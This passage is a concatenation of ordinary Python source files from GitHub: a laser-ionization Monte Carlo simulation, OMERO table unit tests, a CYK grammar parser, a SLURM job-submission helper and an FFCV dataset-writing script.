+ 0.001,3/2), -1*electric_field_z - z*Z/pow(r2 + 0.001,3/2)\n\n return [phase_space[3], phase_space[4], phase_space[5], vx_derivative, vy_derivative, vz_derivative]\n\ndef Inital_Condition_Adiabatic():\n\n if rank == 0:\n print(\"Generating weighted inital conditions\")\n \n ## Random inital conditions\n t_ionization = np.random.uniform(0, tau, total_traj)\n v_perp_ip = np.random.uniform(-3, 3, total_traj)\n v_perp_op = np.random.uniform(-3, 3, total_traj)\n Y_val = np.random.uniform(0, 1, total_traj)\n \n ## Fields\n electric_field_x = amplitude*cos(omega*t_ionization)*(sin(t_ionization*pi/tau)**2)\n electric_field_y = ell*amplitude*sin(omega*t_ionization)*(sin(t_ionization*pi/tau)**2)\n field_at_t_ion = np.sqrt(pow(electric_field_x,2) + pow(electric_field_y,2)) + 1e-16\n\n \n\n ### Calculating probability for adiabatic\n Pi_array = exp((-2/3)*np.power(2*Ip,3/2)/field_at_t_ion)\n Pi_array *= exp(-sqrt(2*Ip)*(v_perp_ip**2 + v_perp_op**2)/field_at_t_ion)\n Pi_array = np.sqrt(Pi_array)\n Pi_array = Pi_array/Pi_array.max()\n\n\n #### Weighing the trajectories based on probability\n green_points_idx = np.less(Y_val, Pi_array)\n t_ionization = t_ionization[green_points_idx]\n v_perp_ip = v_perp_ip[green_points_idx]\n v_perp_op = v_perp_op[green_points_idx]\n electric_field_x = electric_field_x[green_points_idx]\n electric_field_y = electric_field_y[green_points_idx]\n field_at_t_ion = field_at_t_ion[green_points_idx]\n\n \n ### exit position\n r_exit = (Ip + sqrt(Ip*Ip - (4 - sqrt(8*Ip))*field_at_t_ion))/(2*field_at_t_ion)\n x_pos_inital = -1*electric_field_x/field_at_t_ion * r_exit\n y_pos_inital = -1*electric_field_y/field_at_t_ion * r_exit\n z_pos_inital = np.zeros(len(x_pos_inital))\n\n ### inital momentum\n x_mom_inital = -electric_field_y/field_at_t_ion * v_perp_ip\n y_mom_inital = electric_field_x/field_at_t_ion * v_perp_ip\n z_mom_inital = v_perp_op\n \n \n ### parallel and perpendicular momentum (relative to instantanious laser polarization)\n beta = arctan(ell*tan(omega*t_ionization))\n parallel_mom_inital = x_mom_inital + y_mom_inital - v_perp_ip*(cos(beta) - sin(beta))\n parallel_mom_inital /= (cos(beta) + sin(beta))\n \n perpendicular_mom_inital = v_perp_ip\n\n if rank == 0:\n print(\"\\nFinished generating weighted inital conditions\")\n\n return t_ionization, x_pos_inital, y_pos_inital, z_pos_inital, x_mom_inital, y_mom_inital, z_mom_inital, parallel_mom_inital, perpendicular_mom_inital\n\ndef Inital_Condition_Adiabatic_Modified():\n\n if rank == 0:\n print(\"Generating weighted inital conditions\")\n \n ## Random inital conditions\n t_ionization = np.random.uniform(0, tau, total_traj)\n v_perp_ip = np.random.uniform(-3, 3, total_traj)\n v_perp_op = np.random.uniform(-3, 3, total_traj)\n \n \n t_ionization, v_perp_ip, v_perp_op, tunneling_time_return = Calculate_Tunneling_Time(t_ionization, v_perp_ip, v_perp_op)\n\n t_ionization, vx_array, vy_return, vz_array, xo_array, zo_array, v_parall, v_perp_return, weight = Cosh_Dependent_Terms(t_ionization, v_perp_ip, v_perp_op, tunneling_time_return)\n \n ## Fields\n electric_field_x = amplitude*cos(omega*t_ionization)*(sin(t_ionization*pi/tau)**2)\n electric_field_y = ell*amplitude*sin(omega*t_ionization)*(sin(t_ionization*pi/tau)**2)\n field_at_t_ion = np.sqrt(pow(electric_field_x,2) + pow(electric_field_y,2)) + 1e-16\n\n \n\n ### Calculating probability for adiabatic\n Pi_array = exp((-2/3)*np.power(2*Ip,3/2)/field_at_t_ion)\n Pi_array *= exp(-sqrt(2*Ip)*(v_perp_ip**2 + v_perp_op**2)/field_at_t_ion)\n Pi_array = np.sqrt(Pi_array)\n Pi_array = Pi_array/Pi_array.max()\n\n\n #### Weighing the trajectories based on probability\n Y_val = np.random.uniform(0, 1, len(t_ionization))\n green_points_idx = np.less(Y_val, weight)\n t_ionization = t_ionization[green_points_idx]\n v_perp_ip = v_perp_ip[green_points_idx]\n v_perp_op = v_perp_op[green_points_idx]\n electric_field_x = electric_field_x[green_points_idx]\n electric_field_y = electric_field_y[green_points_idx]\n field_at_t_ion = field_at_t_ion[green_points_idx]\n tunneling_time_return = tunneling_time_return[green_points_idx]\n vx_array = vx_array[green_points_idx]\n vy_return = vy_return[green_points_idx]\n vz_array = vz_array[green_points_idx]\n xo_array = xo_array[green_points_idx]\n zo_array = zo_array[green_points_idx]\n\n\n ## exit position\n r_exit = (Ip + sqrt(Ip*Ip - (4 - sqrt(8*Ip))*field_at_t_ion))/(2*field_at_t_ion)\n x_pos_inital = -1*electric_field_x/field_at_t_ion * r_exit\n y_pos_inital = -1*electric_field_y/field_at_t_ion * r_exit\n z_pos_inital = np.zeros(len(x_pos_inital))\n # x_pos_inital = zo_array\n # y_pos_inital = xo_array\n # z_pos_inital = np.zeros(len(x_pos_inital))\n\n\n ## inital momentum\n x_mom_inital = -electric_field_y/field_at_t_ion * v_perp_ip\n y_mom_inital = electric_field_x/field_at_t_ion * v_perp_ip\n z_mom_inital = v_perp_op\n \n # x_mom_inital = vz_array\n # y_mom_inital = vx_array\n # z_mom_inital = v_perp_op\n \n ### parallel and perpendicular momentum (relative to instantanious laser polarization)\n beta = arctan(ell*tan(omega*t_ionization))\n parallel_mom_inital = x_mom_inital + y_mom_inital - v_perp_ip*(cos(beta) - sin(beta))\n parallel_mom_inital /= (cos(beta) + sin(beta))\n \n perpendicular_mom_inital = v_perp_ip\n\n if rank == 0:\n print(\"\\nFinished generating weighted inital conditions\")\n\n return t_ionization, x_pos_inital, y_pos_inital, z_pos_inital, x_mom_inital, y_mom_inital, z_mom_inital, parallel_mom_inital, perpendicular_mom_inital\n\ndef CTMC():\n \n \n t_ionization, x_pos_inital, y_pos_inital, z_pos_inital, x_mom_inital, y_mom_inital, z_mom_inital, parallel_mom_inital, perpendicular_mom_inital = Inital_Condition_Adiabatic()\n # t_ionization, x_pos_inital, y_pos_inital, z_pos_inital, x_mom_inital, y_mom_inital, z_mom_inital, parallel_mom_inital, perpendicular_mom_inital = Inital_Condition_Adiabatic_Modified()\n\n\n\n\n r_exit_array = np.sqrt(x_pos_inital**2 + y_pos_inital**2 + z_pos_inital**2)\n\n final_momentum_tau_x = []\n final_momentum_tau_y = []\n final_momentum_tau_z = []\n \n final_momentum_x = []\n final_momentum_y = []\n final_momentum_z = []\n\n phase_array = []\n\n for i, t_ion in enumerate(t_ionization):\n if rank == 0:\n print(i, len(t_ionization))\n\n time_of_traj = np.arange(t_ion, tau+dt, dt)\n \n x_start, y_start, z_start = Exit_Point(t_ion, x_mom_inital[i], y_mom_inital[i], z_mom_inital[i])\n r_exit_current = np.sqrt(x_start**2 + y_start**2 + z_start**2)\n \n \n # x_start, y_start, z_start = x_pos_inital[i], + y_pos_inital[i], + z_pos_inital[i]\n # r_exit_current = np.sqrt(x_pos_inital[i]**2 + y_pos_inital[i]**2 + z_pos_inital[i]**2)\n \n\n if r_exit_current <=5:\n continue\n \n \n \n soln = solve_ivp(Derivative_RK45, (t_ion, tau + dt),[x_start, y_start, z_start, x_mom_inital[i], y_mom_inital[i], z_mom_inital[i]], t_eval=time_of_traj, rtol=1e-3, atol=1e-6)\n time_from_traj = soln.t\n position_x, position_y, position_z, velocity_x, velocity_y, velocity_z = soln.y[0], soln.y[1], soln.y[2], soln.y[3], soln.y[4], soln.y[5]\n\n r_traj = np.sqrt(position_x**2 + position_y**2 +position_z**2)\n \n if (r_traj <= 5).any():\n continue\n \n r_end = [position_x[-1], position_y[-1], position_z[-1]]\n p_end = [velocity_x[-1], velocity_y[-1], velocity_z[-1]]\n\n asymptotic_momentum = Asymptotic_Momentum(r_end, p_end)\n fmx = asymptotic_momentum[0]\n fmy = asymptotic_momentum[1]\n fmz = asymptotic_momentum[2]\n \n if fmx != None and fmy != None and fmz != None:\n \n final_momentum_tau_x.append(velocity_x[-1])\n final_momentum_tau_y.append(velocity_y[-1])\n final_momentum_tau_z.append(velocity_z[-1])\n \n final_momentum_x.append(fmx)\n final_momentum_y.append(fmy)\n final_momentum_z.append(fmz) \n\n phase_array.append(Phase(time_from_traj, position_x, position_y, position_z, velocity_x, velocity_y, velocity_z))\n\n\n ########################################################################################### \n file_name = \"Data/Data_Ell_Pulse_Adiabatic/Phase_\" + str(temp_rank)\n np.save(file_name, phase_array)\n\n ########################################################################################### \n file_name = \"Data/Data_Ell_Pulse_Adiabatic/Final_X_Momentum_\" + str(temp_rank)\n np.save(file_name, final_momentum_x)\n \n file_name = \"Data/Data_Ell_Pulse_Adiabatic/Final_Y_Momentum_\" + str(temp_rank)\n np.save(file_name, final_momentum_y)\n \n file_name = \"Data/Data_Ell_Pulse_Adiabatic/Final_Z_Momentum_\" + str(temp_rank)\n np.save(file_name, final_momentum_z)\n\n\n ########################################################################################### \n file_name = \"Data/Data_Ell_Pulse_Adiabatic/Final_Tau_X_Momentum_\" + str(temp_rank)\n np.save(file_name, final_momentum_tau_x)\n \n file_name = \"Data/Data_Ell_Pulse_Adiabatic/Final_Tau_Y_Momentum_\" + str(temp_rank)\n np.save(file_name, final_momentum_tau_y)\n \n file_name = \"Data/Data_Ell_Pulse_Adiabatic/Final_Tau_Z_Momentum_\" + str(temp_rank)\n np.save(file_name, final_momentum_tau_z)\n\n\nif __name__ == \"__main__\":\n\n temp_rank = rank + 760 + 24 + 24 + 24 + 24 + 20 + 12 + 12 + 24 + 24 + 24 + 24 + 12 + 20\n print(temp_rank)\n np.random.seed(temp_rank + 999) \n \n Ip = 0.6\n Z = sqrt(2*Ip)\n omega = 0.114\n cycle = 10\n intensity = 3.e14\n ell = 0.71\n ellipticity = ell\n \n CEP = 0\n dt = 0.1\n total_traj = int(1.5e8)\n amplitude = pow(intensity/3.51e16, 0.5)/sqrt(ell*ell + 1)\n Fo = amplitude\n tau = 2*np.pi*cycle/omega\n Up = (1+ell**2)*amplitude*amplitude/(4*omega**2)\n Envelop_Fun = Sin_2\n \n \n CTMC()","repo_name":"yonas-abera-gebre/TDSE","sub_path":"Monte_Carlo/Old_Code/Monte_Carlo.py","file_name":"Monte_Carlo.py","file_ext":"py","file_size_in_byte":19254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72494039148","text":"import sys\nif sys.version_info < (2, 7):\n import unittest2 as unittest\nelse:\n import unittest\n\nimport omero\nfrom omero.rtypes import unwrap\nimport collections\n\nimport os\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', 'OmeroWndcharm'))\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', 'scripts'))\n\nfrom TableConnection import Connection, TableConnection, FeatureTableConnection\n\n\nclass ClientHelper(unittest.TestCase):\n\n def create_client(self):\n cli = omero.client()\n sess = cli.createSession()\n return (cli, sess)\n\n def setUp(self):\n \"\"\"\n Create a connection for creating the test tables.\n ICE_CONFIG must be set.\n \"\"\"\n self.cli, self.sess = self.create_client()\n self.tableName = '/test_TableConnection/test.h5'\n\n def tearDown(self):\n self.cli.closeSession()\n\n\nclass TestConnection(ClientHelper):\n class TestWith(Connection):\n def __init__(self, client):\n super(TestConnection.TestWith, self).__init__(client=client)\n self.x = 1\n\n def close(self):\n self.x = 0\n super(TestConnection.TestWith, self).close()\n\n def test_enterExitWith(self):\n cli, sess = self.create_client()\n with TestConnection.TestWith(client=cli) as c:\n self.assertEquals(c.x, 1)\n self.assertEquals(c.x, 0)\n\n\nclass TestTableConnection(ClientHelper):\n\n def create_table(self):\n t = self.sess.sharedResources().newTable(0, self.tableName)\n cols = [omero.grid.LongColumn('lc1', 'l c 1', [1, 2, 3, 4])]\n t.initialize(cols)\n t.addData(cols)\n tid = unwrap(t.getOriginalFile().getId())\n t.close()\n return tid\n\n def test_openTable(self):\n tid = self.create_table()\n\n tc = TableConnection(client=self.cli, tableName=self.tableName)\n t = tc.openTable(tid)\n self.assertIsNotNone(t)\n\n t.close()\n\n def test_findByName(self):\n tid = self.create_table()\n\n tc = TableConnection(client=self.cli, tableName=self.tableName)\n found = False\n for ofiles in tc.findByName():\n found = found or unwrap(ofiles.getId()) == tid\n self.assertTrue(found)\n\n tc.close()\n\n def deleteAllTables(self):\n \"\"\"\n Don't run unless explicitly requested.\n Doesn't seem to work.\n \"\"\"\n tc = TableConnection(client=self.cli, tableName=self.tableName)\n tc.deleteAllTables()\n ofiles = list(tc.findByName())\n self.assertEqual(len(ofiles), 0)\n\n def test_headersRows(self):\n tid = self.create_table()\n tc = TableConnection(client=self.cli)\n t = tc.openTable(tid)\n\n headers = tc.getHeaders()\n self.assertEqual(len(headers), 1)\n self.assertEqual(headers[0].name, 'lc1')\n # It looks like descriptions aren't returned?????\n #self.assertEqual(headers[0].description, 'l c 1')\n self.assertEqual(tc.getNumberOfRows(), 4)\n\n def test_newTable(self):\n tc = TableConnection(client=self.cli, tableName=self.tableName)\n cols = [omero.grid.LongColumn('lc1', 'l c 1', [1, 2, 3])]\n t = tc.newTable(cols)\n self.assertIsNotNone(t)\n\n def test_chunked(self):\n tid = self.create_table()\n tc = TableConnection(client=self.cli, tableName=self.tableName)\n t = tc.openTable(tid)\n\n cols = tc.getHeaders()\n cols[0].values = [5, 6]\n n = tc.chunkedAddData(cols, 1)\n self.assertEqual(n, 2)\n\n data = tc.chunkedRead([0], 1, 6, 3)\n self.assertEqual(len(data.columns), 1)\n self.assertEqual(data.columns[0].values, [2, 3, 4, 5, 6])\n\n tc.close()\n\n\n\nclass TestFeatureTableConnection(ClientHelper):\n\n def create_table(self):\n cli, sess = self.create_client()\n ftc = FeatureTableConnection(client=cli, tableName=self.tableName)\n desc = [('a', 3), ('b', 1)]\n ftc.createNewTable('ID', desc)\n tid = ftc.tableId\n ftc.close()\n return tid\n\n def create_table_with_data(self):\n cli, sess = self.create_client()\n ftc = FeatureTableConnection(client=cli, tableName=self.tableName)\n desc = [('a', 3), ('b', 1)]\n ftc.createNewTable('ID', desc)\n\n cols = ftc.getHeaders()\n cols[0].values = [1, 8, 3, 6]\n cols[1].values = [[], [1., 2., 3.], [4., 5., 6.], []]\n cols[2].values = [[7.], [], [8.], []]\n ftc.addData(cols)\n\n tid = ftc.tableId\n ftc.close()\n return tid\n\n\n def test_createNewTable(self):\n tid = self.create_table()\n ftc = FeatureTableConnection(client=self.cli, tableName=self.tableName)\n ftc.openTable(tid)\n\n headers = ftc.table.getHeaders()\n self.assertEqual(len(headers), 6)\n self.assertEqual([h.name for h in headers[:3]], ['ID', 'a', 'b'])\n self.assertEqual([h.name for h in headers[3:]],\n ['_b_ID', '_b_a', '_b_b'])\n\n def test_isValid(self):\n tid = self.create_table_with_data()\n ftc = FeatureTableConnection(client=self.cli, tableName=self.tableName)\n ftc.openTable(tid)\n bs = ftc.isValid([2, 0, 1], 0, 4)\n\n self.assertEqual(bs[1].values, [True, True, True, True])\n self.assertEqual(bs[2].values, [False, True, True, False])\n self.assertEqual(bs[0].values, [True, False, True, False])\n\n def test_readSubArray(self):\n tid = self.create_table_with_data()\n ftc = FeatureTableConnection(client=self.cli, tableName=self.tableName)\n ftc.openTable(tid)\n\n can = {1:[0,2], 2:[0]}\n xs = ftc.readSubArray(can, 0, 4)\n self.assertEqual(xs[0].values, [[], [1., 3.], [4., 6.], []])\n self.assertEqual(xs[1].values, [[7.], [], [8.], []])\n\n @unittest.skipIf(not hasattr(collections, 'OrderedDict'),\n \"OrderedDict not available in Python < 2.7\")\n def test_readSubArray_ordered(self):\n tid = self.create_table_with_data()\n ftc = FeatureTableConnection(client=self.cli, tableName=self.tableName)\n ftc.openTable(tid)\n\n can = collections.OrderedDict([(2, [0]), (1, [0,2])])\n xs = ftc.readSubArray(can, 0, 4)\n self.assertEqual(xs[1].values, [[], [1., 3.], [4., 6.], []])\n self.assertEqual(xs[0].values, [[7.], [], [8.], []])\n\n def test_readArray(self):\n tid = self.create_table_with_data()\n ftc = FeatureTableConnection(client=self.cli, tableName=self.tableName)\n ftc.openTable(tid)\n\n xs = ftc.readArray([0, 2], 0, 3, chunk=2)\n self.assertEqual(xs[0].values, [1, 8, 3])\n self.assertEqual(xs[1].values, [[7.], [], [8.]])\n\n xs = ftc.readArray([2, 0, 1], 0,\n ftc.getNumberOfRows(), chunk=3)\n self.assertEqual(xs[1].values, [1, 8, 3, 6])\n self.assertEqual(xs[2].values, [[], [1., 2., 3.], [4., 5., 6.], []])\n self.assertEqual(xs[0].values, [[7.], [], [8.], []])\n\n def test_getRowId(self):\n tid = self.create_table_with_data()\n ftc = FeatureTableConnection(client=self.cli, tableName=self.tableName)\n ftc.openTable(tid)\n\n self.assertEqual(ftc.getRowId(1), 0)\n self.assertEqual(ftc.getRowId(3), 2)\n self.assertEqual(ftc.getRowId(6), 3)\n self.assertEqual(ftc.getRowId(8), 1)\n self.assertIsNone(ftc.getRowId(1000))\n\n def test_getHeaders(self):\n tid = self.create_table()\n ftc = FeatureTableConnection(client=self.cli, tableName=self.tableName)\n ftc.openTable(tid)\n\n headers = ftc.getHeaders()\n self.assertEqual(len(headers), 3)\n self.assertEqual([h.name for h in headers], ['ID', 'a', 'b'])\n\n def test_addData(self):\n tid = self.create_table_with_data()\n ftc = FeatureTableConnection(client=self.cli, tableName=self.tableName)\n ftc.openTable(tid)\n\n cols = ftc.getHeaders()\n cols[0].values = [2, 4]\n cols[1].values = [[11., 12., 13.], [14., 15., 16.]]\n cols[2].values = [[17.], [18.]]\n ftc.addData(cols)\n\n xs = ftc.readArray(range(len(ftc.getHeaders())), 0,\n ftc.getNumberOfRows(), chunk=4)\n self.assertEqual(xs[0].values, [1, 8, 3, 6, 2, 4])\n self.assertEqual(xs[1].values, [[], [1., 2., 3.], [4., 5., 6.], [],\n [11., 12., 13.], [14., 15., 16.]])\n self.assertEqual(xs[2].values, [[7.], [], [8.], [], [17.], [18.]])\n\n def test_addPartialData(self):\n tid = self.create_table_with_data()\n ftc = FeatureTableConnection(client=self.cli, tableName=self.tableName)\n ftc.openTable(tid)\n\n cols = ftc.getHeaders()\n cols = [cols[2], cols[0]]\n cols[1].values = [2, 4]\n cols[0].values = [[], [18.]]\n ftc.addPartialData(cols)\n\n xs = ftc.readArray(range(len(ftc.getHeaders())), 0,\n ftc.getNumberOfRows(), chunk=4)\n self.assertEqual(xs[0].values, [1, 8, 3, 6, 2, 4])\n self.assertEqual(xs[1].values, [[], [1., 2., 3.], [4., 5., 6.], [],\n [], []])\n self.assertEqual(xs[2].values, [[7.], [], [8.], [], [], [18.]])\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"ome/omero-wndcharm","sub_path":"tests/test_TableConnection.py","file_name":"test_TableConnection.py","file_ext":"py","file_size_in_byte":9282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34945290634","text":"from re import findall\nfrom math import floor, ceil\n\ngrammar = dict()\n\n# Getting productions from the file\nwith open('gramatica.txt', 'r') as file:\n for row in file.readlines():\n left = findall(r'[a-zA-Z]+\\s\\=\\>', row)[0]\n key = left.replace('=>', '').strip()\n productions = row.replace(left, '').strip().split('|')\n grammar[key] = productions\n\n\nword = input('Qual palavra deseja verificar? ')\n\n# Creating the matrix\nmatrix = [list() for i in range(len(word))]\nword = list(word)\n\n\n# Filling the matrix\ndef filling_matrix(word, grammar, matrix, row):\n base = matrix[len(matrix) - 1]\n if (len(base) != 0):\n if list(grammar.keys())[0] in base[0]:\n print('Essa palavra faz parte da gramática!')\n else:\n print('Essa palavra não faz parte da gramática!')\n return matrix\n\n combinations = generate_combinations(word, row)\n if len(combinations[0]) > 2:\n for i, comb in enumerate(combinations):\n combinations[i] = []\n for j in range(len(comb) - 1):\n combinations[i].append([comb[:j+1], comb[j+1:]])\n\n for comb in combinations:\n if type(comb[0]) is list:\n calc = list()\n result = ''\n for j in comb:\n verif = []\n for k in j:\n if len(k) > 1:\n w = ''.join(word)\n concat = ''.join(k)\n position = w.find(concat)\n no_termminal = matrix[len(concat)-1][position]\n verif.append(no_termminal)\n else:\n no_termminal = verify_production(k, grammar)\n verif.append(no_termminal)\n verif = distribuction(verif[0], verif[1])\n result = verify_production(verif, grammar)\n calc.append(result)\n result = ''\n found = ''\n for c in calc:\n found += c\n matrix[row].append(found)\n else:\n verif = ''\n no_termminal = verify_production(comb, grammar)\n if len(no_termminal) > 1:\n verif = distribuction(no_termminal[:ceil(\n len(no_termminal)/2)], no_termminal[ceil(len(no_termminal)/2):])\n verif = list(dict.fromkeys(verif))\n result = verify_production(verif, grammar)\n if result == '':\n result = no_termminal\n matrix[row].append(result)\n else:\n matrix[row].append(no_termminal)\n\n row += 1\n return filling_matrix(word, grammar, matrix, row)\n\n\ndef verify_production(w, grammar):\n prod = ''\n if (type(w) is list):\n for i in w:\n prod += verify_production(i, grammar)\n else:\n for key, values in grammar.items():\n if w in values:\n prod += key\n return prod\n\n\ndef generate_combinations(w, row):\n step = row + 1\n combinations = []\n for i in range(len(w)):\n symbol = []\n try:\n if (row > 0):\n for j in range(i, step + i):\n symbol.append(w[j])\n combinations.append(symbol)\n else:\n combinations.append(w[i:step][0])\n step += 1\n except:\n pass\n return combinations\n\n\ndef distribuction(ve, node):\n dist = []\n for i in ve:\n for n in node:\n dist.append(f'{i}{n}')\n return dist\n\n\nresult = filling_matrix(word, grammar, matrix, 0)\nprint(result)\n","repo_name":"yankelvin/algoritmo-cyk","sub_path":"cykParserTxt.py","file_name":"cykParserTxt.py","file_ext":"py","file_size_in_byte":3615,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"29467705413","text":"import argparse\nimport os\nfrom tqdm import tqdm\nimport Utils\nimport DAE\nimport IMLE\n\nchunked_scripts = []\n\ndef unparse_args(args):\n \"\"\"Returns [args] as a string that can be parsed again.\"\"\"\n s = \"\"\n for k,v in vars(args).items():\n if isinstance(v, (list, tuple)):\n s += f\" --{k} {' '.join([str(v_) for v_ in v])}\"\n elif v is None:\n continue\n else:\n s += f\" --{k} {v}\"\n return s\n\n\ndef get_args_with_data_on_node(args, arg_names_to_move, out_dir=\"$SLURM_TMPDIR\"):\n \"\"\"Returns an (args, cmd) tuple where [args] is [args] modified to have the\n value in [args] of each element of [arg_names_to_move] listed inside\n [out_dir], and [cmd] is a string giving commands to move the files there.\n \"\"\"\n s = \"\"\n args = vars(args)\n for a in arg_names_to_move:\n if (a in args and isinstance(args[a], str)\n and os.path.exists(args[a])\n and not \"mnist\" in args[a] and not \"cifar\" in args[a]):\n s += f\"rsync -rav --relative {args[a]} {out_dir}/\\n\"\n args[a] = f\"{out_dir}/{args[a]}\".replace(\"//\", \"/\").strip(\"/\")\n else:\n continue\n\n return argparse.Namespace(**args), f\"{s}\\n\"\n\ndef get_slurm_args():\n P = argparse.ArgumentParser()\n P.add_argument(\"script\",\n help=\"Script to run\")\n P.add_argument(\"--time\", default=\"1:00:00\", type=str,\n help=\"String giving time for the SLURM job\")\n P.add_argument(\"--account\", default=\"rrg-keli\", choices=[\"def-keli\", \"rrg-keli\"],\n help=\"String giving time for the SLURM job\")\n P.add_argument(\"--parallel\", default=1, type=int,\n help=\"How many jobs to run in parallel\")\n P.add_argument(\"--first_chunk\", default=0, type=int,\n help=\"Zero-indexed index of first chunk to run\")\n P.add_argument(\"--last_chunk\", default=0, type=int,\n help=\"Zero-indexed index of last chunk to run, (ie. 9 to run 10 chunks\")\n P.add_argument(\"--env\", default=\"conda\", choices=[\"conda\", \"pip\"],\n help=\"Python environment type\")\n P.add_argument(\"--env_dir\", default=\"~/virtual_envs/py3103MRL\", type=str, help=\"Path to python environment\")\n P.add_argument(\"--gpu_type\", default=\"adapt\", choices=[\"a100\", \"v100l\", \"adapt\"],\n help=\"GPU type. 'adapt' to set adaptively\")\n P.add_argument(\"--mem\", default=\"adapt\",\n help=\"RAM—specify SLURM argument '100G'\")\n P.add_argument(\"--email\", default=None,\n help=\"Specify email to be notified when job starts and ends\")\n return P.parse_known_args()\n\nif __name__ == \"__main__\":\n slurm_args, unparsed_args = get_slurm_args()\n Utils.conditional_make_folder(\"job_results\")\n if slurm_args.script == \"DAE.py\":\n args = DAE.get_args(unparsed_args)\n name = os.path.basename(DAE.dae_model_folder(args))\n args, file_move_command = get_args_with_data_on_node(args,\n arg_names_to_move=[\"data_tr\", \"data_val\"]) \n num_gpus = len(args.gpus)\n num_cpus = min(12, max(1, num_gpus) * 12)\n elif slurm_args.script in [\"IMLE.py\", \"IMLEOneDimension.py\"]:\n args = IMLE.get_args(unparsed_args)\n args, file_move_command = get_args_with_data_on_node(args,\n arg_names_to_move=[\"data_tr\", \"data_val\"])\n name = os.path.basename(IMLE.imle_model_folder(args))\n num_gpus = len(args.gpus)\n num_cpus = min(12, max(1, num_gpus) * 12)\n else:\n raise NotImplementedError()\n\n # Host specific settings.\n if \"narval\" in os.uname()[1]:\n args.wandb = \"offline\"\n slurm_args.mem = f\"{num_gpus*100}GB\" if slurm_args.mem == \"adapt\" else slurm_args.mem\n slurm_args.gpu_type = \"a100\" if slurm_args.gpu_type == \"adapt\" else slurm_args.gpu_type\n elif \"cedar\" in os.uname()[1]:\n args.wandb = \"online\"\n slurm_args.mem = f\"{num_gpus*45}GB\" if slurm_args.mem == \"adapt\" else slurm_args.mem\n slurm_args.gpu_type = \"v100l\" if slurm_args.gpu_type == \"adapt\" else slurm_args.gpu_type\n else:\n args.wandb = \"online\"\n if slurm_args.mem == \"adapt\":\n raise ValueError()\n\n script = f\"{file_move_command}\\npython {slurm_args.script} {unparse_args(args)} --job_id $SLURM_JOB_ID --num_workers {num_cpus}\"\n\n if slurm_args.env == \"conda\":\n env_str = \"conda activate py3103MRL\"\n elif slurm_args.env == \"pip\":\n env_str = \"module load python/3.10\\nsource {}/bin/activate\".format(slurm_args.env_dir)\n\n with open(\"slurm/slurm_template.txt\", \"r\") as f:\n slurm_template = f.read()\n\n # When emailed that the job has started, we'll know the time it took to queue\n # and the number of GPUs requested and how long it was asked to run for\n name = f\"{name}-GPUS{num_gpus}-TIME{slurm_args.time}\"\n\n slurm_template = slurm_template.replace(\"ACCOUNT\", slurm_args.account)\n slurm_template = slurm_template.replace(\"TIME\", slurm_args.time)\n slurm_template = slurm_template.replace(\"NUM_GPUS\", str(num_gpus))\n slurm_template = slurm_template.replace(\"NUM_CPUS\", str(num_cpus))\n slurm_template = slurm_template.replace(\"NAME\", name)\n slurm_template = slurm_template.replace(\"PYTHON_ENV_STR\", env_str)\n slurm_template = slurm_template.replace(\"SCRIPT\", script)\n slurm_template = slurm_template.replace(\"GPU_TYPE\", slurm_args.gpu_type)\n slurm_template = slurm_template.replace(\"MEM\", slurm_args.mem)\n slurm_template = slurm_template.replace(\"EMAIL\", slurm_args.email)\n\n slurm_script = f\"slurm/{name}.sh\"\n with open(slurm_script, \"w+\") as f:\n f.write(slurm_template)\n\n tqdm.write(f\"File move command: {file_move_command}\")\n tqdm.write(f\"Script:\\n{script}\")\n tqdm.write(f\"SLURM submission script written to {slurm_script}\")\n tqdm.write(f\"Outputs will write to job_results/{name}.txt\")\n os.system(f\"sbatch {slurm_script}\")\n\n\n \n\n\n\n\n ","repo_name":"tristanengst/Mini3MRL","sub_path":"SlurmSubmit.py","file_name":"SlurmSubmit.py","file_ext":"py","file_size_in_byte":5834,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"4236640527","text":"import torchvision\nimport os\nfrom ffcv.writer import DatasetWriter\nfrom ffcv.fields import RGBImageField, IntField, NDArrayField\nimport torch\nimport yaml\nimport pprint\nimport numpy as np\nimport sys\nimport os\n\nfrom failure_directions.src.config_parsing import ffcv_read_check_override_config\nfrom failure_directions.src.pytorch_datasets import IndexedDataset\nimport failure_directions.src.pytorch_datasets as pytorch_datasets\nfrom failure_directions.src import ffcv_utils\n\nprint(\"making chestxray\")\nBETON_ROOT = \"/mnt/cfs/home/saachij/betons\"\n\n\ndef get_unlabeled(name, initial_train_targets, num_classes, folds, first_val_split=5):\n # write subsets\n for fold in folds:\n result_indices = get_unlabeled_indices(initial_train_targets=initial_train_targets, \n num_classes=num_classes, fold=fold, first_val_split=first_val_split)\n print(\"--\", fold, \"--\")\n for k, v in result_indices.items():\n print(k, len(v))\n torch.save(result_indices, f'index_files/{name}_indices_{fold}.pt')\n \n\ndef write_betons(ds_name, train_ds, test_ds, val_ds=None, max_resolution=None):\n os.makedirs(os.path.join(BETON_ROOT, ds_name), exist_ok=True)\n ds_pairs = [\n ['train', train_ds],\n ['test', test_ds]\n ]\n if val_ds is not None:\n ds_pairs.append(['val', val_ds])\n \n for split_name, ds in ds_pairs:\n print(split_name)\n ds = IndexedDataset(ds)\n write_path = os.path.join(BETON_ROOT, ds_name, f\"{ds_name}_{split_name}.beton\")\n # Pass a type for each data field\n img_field = RGBImageField() if max_resolution is None else RGBImageField(max_resolution=max_resolution)\n writer = DatasetWriter(write_path, {\n # Tune options to optimize dataset size, throughput at train-time\n 'image': img_field,\n 'label': NDArrayField(shape=(14,), dtype=np.dtype('int32')),\n 'index': IntField(),\n })\n\n # Write dataset\n writer.from_indexed_dataset(ds)\n\nif __name__ == \"__main__\":\n root = \"/mnt/nfs/datasets/ChestX-ray14\"\n train_ds = pytorch_datasets.ChestXrayDataSet('train', root)\n test_ds = pytorch_datasets.ChestXrayDataSet('test', root)\n val_ds = pytorch_datasets.ChestXrayDataSet('val', root)\n write_betons('chestxray_new', train_ds, test_ds, val_ds=val_ds, 